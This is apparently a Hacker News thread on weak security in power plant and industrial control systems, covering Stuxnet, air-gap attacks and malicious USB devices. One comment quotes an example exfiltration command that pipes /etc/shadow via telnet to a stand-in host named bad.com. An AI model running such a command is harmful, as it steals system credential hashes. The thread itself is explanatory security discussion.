Hacker News new | past | comments | ask | show | jobs | submit login

It seems obvious not to connect a power plant to the internet but there have also been of attacks against "air gapped" systems: https://www.reuters.com/article/cybersecurity-powerplants-id...

Edit. There is also a more in depth Scientific American article. Search for "Hacking the Lights Out".




Almost every power plant is effectively internet connected even if it has old control equipment that predates IP as the vast majority of SCADA systems have IP connected HMIs or other core components.

There may be steps involved in getting your RDP exploit to send commands over vendor proprietary RS-485 protocols, but except for certain nuclear plants that are truly air gapped, but it's fewer than you'd sleep soundly knowing about.

I once had a network admin at a major US transmission utility tell me with a straight face that all of their SCADA was pure serial as I was telnetting into the Zhone mux doing those serial channels via a WiFi connection.


In 1990s, When I worked with process control systems, primarily DCS, for petrochemicals, beverages, and other chemical plants, we had phone modems connected to our systems. Only precaution was that modems were not connected to phone port unless someone needed remote access and were disconnected after use.

Actually, we used to computer simulate operations of facility to test our DCS systems against.


I was once talking to an industrial automation engineer at a huge and strategically relevant US industrial group (they made aluminum parts or something, and their direct customers included aircraft manufacturers and military) and he was proudly telling me how they patched raspberry pis into their industrial control systems so they could administer things remotely. It wasn’t super confidence inspiring.


yeah, having actually worked with plcs in industrial control systems... the security is, ahem, lacking for the most part. not that my work was with high security process control but I'd say it's fundamentally lacking for the most part as the state of the art is not that great.


Ok, but the attack on the air gapped system was simply via a infected USB stick.

There are more interesting ways, to do it:

https://hackaday.com/2017/02/02/hacking-the-aether/


Stuxnet[0] for example. A highly sophisticated attack using several Windows 0-day exploits and infecting USB Flash drives to get to a air gapped Notebook that is used to program PLCs.

0: https://en.wikipedia.org/wiki/Stuxnet


The book Sandworm by Andy Greenberg also goes a little into depth about attacking powerplants and other industrial control systems. Can highly recommend!


"attacking powerplants and other industrial control systems. Can highly recommend!"

Sounds fun, but please not in my neighbourhood ..


Power grids are typically only designed to tollerate one or two major faults at once, so if you mess with enough powerplants at the same time you might be able to trigger a failure that cascades through the entire powergrid. In the 2006 European Blackout [1] a single poorly executed line cut led to a cascading failure that left 10 million people over 5 countries without power for two hours.

So better stay a couple countries away from me with experiments. Or maybe don't, better a benevolent chaos monkey than being hit unprepared by your enemy.

1: https://en.wikipedia.org/wiki/2006_European_blackout


I suppose with the state-level hacking of the powergrid is, most can do it, but won't because the enemy can do so, too. So like the nuclear standoff. Nobody uses it, because the enemy can wreck your shit, too.

But the whole grid needs a rework. Also because of renewables and batteries etc. To better react do changing demand and enable a free market, where it is easy to buy and sell power.


A similar thing almost happened recently because of a Romanian power plant. And there was also an incident in Kosovo a few years ago that caused a slight frequency decrease that caused all sorts of problems.


Yep it's great. Countdown to Zeroday by Kim Setter about Stuxnet is awesome also.


The book is amazing! The technical analysis by Symantec [1] also makes for a very good complementary read.

[1] [PDF] https://www.wired.com/images_blogs/threatlevel/2010/11/w32_s...


Yeh I've given it to techies and non-techies as it's very readable and suits both audiences.


Coincidentally, I just ordered this book seconds ago. I've also heard only good things about it!


Seconded!


i learned to my displeasure that thick manuals are sometimes distributed with products as USB sticks these days, i immediately thought of this when i opened up an inverter box and saw a USB stick sitting there


I understand that not sticking USB sticks into sensitive systems is the prudent conservative security choice.

The “silly users picking up USB sticks dropped in the parking lot” is a basically a security trope nowadays. But I feel there should be some blame associated with our operating systems too. Like why is this an axiom that if you use an untrusted USB stick you are going to get eaten by the Grue?

If an Os would say “sorry bad people got into your network, your computer is now owned by them” that would be an unacceptable security vulnerability, why is the equivalent accepted as a fact of life with “bad usb sticks”?

I understand the OS cant do much with a usb device which burns out the motherboard with an electric shock. But there is a whole set of other things it should reasonably protect itself from.


My understanding is that the OS can't differentiate a malicious USB stick from a USB keyboard.

In particular, the keyboard could be typing "sudo cat /etc/shadow | telnet bad.com 80"...


I was thinking about that. What the OS could do is to ask for confirmation on the second keyboard. It could be something as simple as “Looks like you connected a secondary keyboard. Please type in the following random 3 numbers before it becomes active.”

If on boot it finds two keyboards it can do the same with both.


> Please type in the following random 3 numbers before it becomes active.

Mac OS does something like this. If, say, I attach (via either USB or Bluetooth), a presentation remote, I'll get a keyboard identifier alert.

It isn't really anything more than an alert, though, because I can ignore the ID step, and it still works.


Only for keyboards whose VID/PID combo it doesn't know and so can't associate a scancode mapping.


Appearently the os can't differentiate between any USB devices.

I saw a great video years ago (which I haven't been able to locate for years) that went into detail as to how you can basically make a custom usb device arbitrarily malicious. The trick that sounded particularly good was that you can impersonate a usb device that requests a driver that has a known security vulnerability.

Fun times.


Yep, the issue is that the host OS has no way to verify the identity of the USB device. It has to believe whatever the device claims. Something that looks like a charging cable might actually "be" a 1990s-era Wacom tablet with crappy drivers, which also charges your phone.

The only protection is to restrict what types of devices are allowed to connect. The kernel is not obligated to recognize any device that you attach (though of course most users will expect it to do so!). And of course some host OSes make such restrictions difficult or impossible.


It's more of a systemic problem. We don't have this problem with bluetooth or wifi because it uses encryption and individual keys. But usb is unencrypted with no secure identification mechanism.


Some home broadband routers have a NAS-like ability to mount USB sticks as a SAMBA share - I use a spare one for iffy sticks on the assumption they’re unlikely to come ready to compromise some random non-PC embedded OS.


That's a great idea!

I would suspect that maybe setting up a Linux box on an old unit might be a similar exercise.


Digital system are just not mature and harden enough for security. Seems like we need to harden them on the software and hardware level before they can be trusted for driving car and other machinery stuff.




Consider applying for YC's Spring batch! Applications are open till Feb 11.

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: